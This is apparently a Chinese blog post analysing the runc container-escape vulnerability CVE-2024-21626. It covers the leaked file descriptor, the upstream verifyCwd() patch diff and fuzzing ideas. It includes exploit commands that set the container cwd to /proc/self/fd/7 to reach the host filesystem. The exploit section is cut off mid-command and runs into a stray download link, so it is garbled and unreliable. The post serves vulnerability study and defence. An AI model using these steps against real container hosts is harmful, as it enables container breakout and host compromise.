Linux Foundation Runc文件描述符泄露漏洞CVE-2024-21626利用分析

本文详细分析了Linux Foundation Runc中CVE-2024-21626文件描述符泄露漏洞的根源、利用方法及模糊测试方案,涉及容器逃逸技术和安全防护措施。

CVE-2024-21626

根源分析与漏洞证明

如何使用poc-autoplay?

1
2
3
make install

make uninstall

1. 根源分析

  • 在runc v1.1.11及以下版本中,为设置cgroup而打开主机的/sys/fs/cgroup目录时,未关闭该文件描述符并留在容器初始化进程中,导致此漏洞发生。
  1. 在runc init阶段通过主机的/sys/fs/cgroup获取/proc/{PID}/fd/7。
  2. 在不关闭该fd的情况下fork/exec容器PID 1。
  3. 在runc的spec或runc exec –cwd选项中,将工作目录(cwd)指定为如上获取的/proc/self/fd/7/等攻击者控制的路径。
  4. chdir后,PID 1的cwd移动到容器的rootfs之外。
  5. 确认容器内部进程可以访问或修改主机文件系统,从而实现容器逃逸。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
        "net"
        "os"
        +    "path/filepath"
        "runtime"
        "runtime/debug"
        "strconv"
        @@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
        return nil
        }

        +// verifyCwd确保当前工作目录仍在容器的挂载命名空间根目录内。如果getcwd(2)返回ENOENT,
         // 表示cwd在容器外部。
         // 参见CVE-2024-21626。
        +func verifyCwd() error {
        +   if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
        +       return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
        +   } else if err != nil {
        +       return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
        +   } else if !filepath.IsAbs(wd) {
            +       // 健全性检查:cwd应始终为绝对路径
                +       return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
                +   }
        +   return nil
            +}

            @@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
                if err := system.ClearKeepCaps(); err != nil {
                    return fmt.Errorf("unable to clear keep caps: %w", err)
                }
                +    // 在chdir到config.Cwd后,确保它仍在容器内
                    +    if err := verifyCwd(); err != nil {
                        +        return err
                            +    }
                return nil
            }
  • 在chdir后立即添加了cwd验证逻辑。
  • 在libcontainer/init_linux.go中添加了verifyCwd()函数,在chdir后检查cwd是否仍在容器内部,然后决定是否发生错误。
  • 添加了关闭所有泄露文件描述符的逻辑。
  • 在最终execve之前关闭所有内部使用的fd,确保主机fd不会留在容器进程中。

2. 漏洞证明

  • 环境
1
2
3
4
5
    - wsl, vmware (Ubuntu 18 ~ 22)
    - kernel (6.6.87)
    - runc ( ≤ 1.1.11)
    - docker (28.1.1)
    - go (1.20.14)
  • 通过runc本身利用
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
    mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

    docker pull alpine:latest
    docker export $(docker create alpine:latest) | tar x -C rootfs/

    runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

    sudo bash -c "exec 7 https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing
```bash
- make install, make uninstall

3. 如何对此漏洞进行模糊测试?

  • 对该易受攻击的runc二进制文件进行go-fuzz的方式。
  • 以易受攻击函数finalizeNamespace()内部的chdir(config.Cwd)处理部分为目标,提供随机的OCI config作为输入值。
  • 通过这种方式分析chdir后cwd中的相对路径异常处理或崩溃部分即可。
  • 对易受攻击版本的runc二进制文件使用AFL++进行的方式。
  • 通过模糊测试OCI spec JSON和runc CLI参数的方式。
  • 以OCI spec JSON中的cwd部分为目标,分析chdir点发生的崩溃即可。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计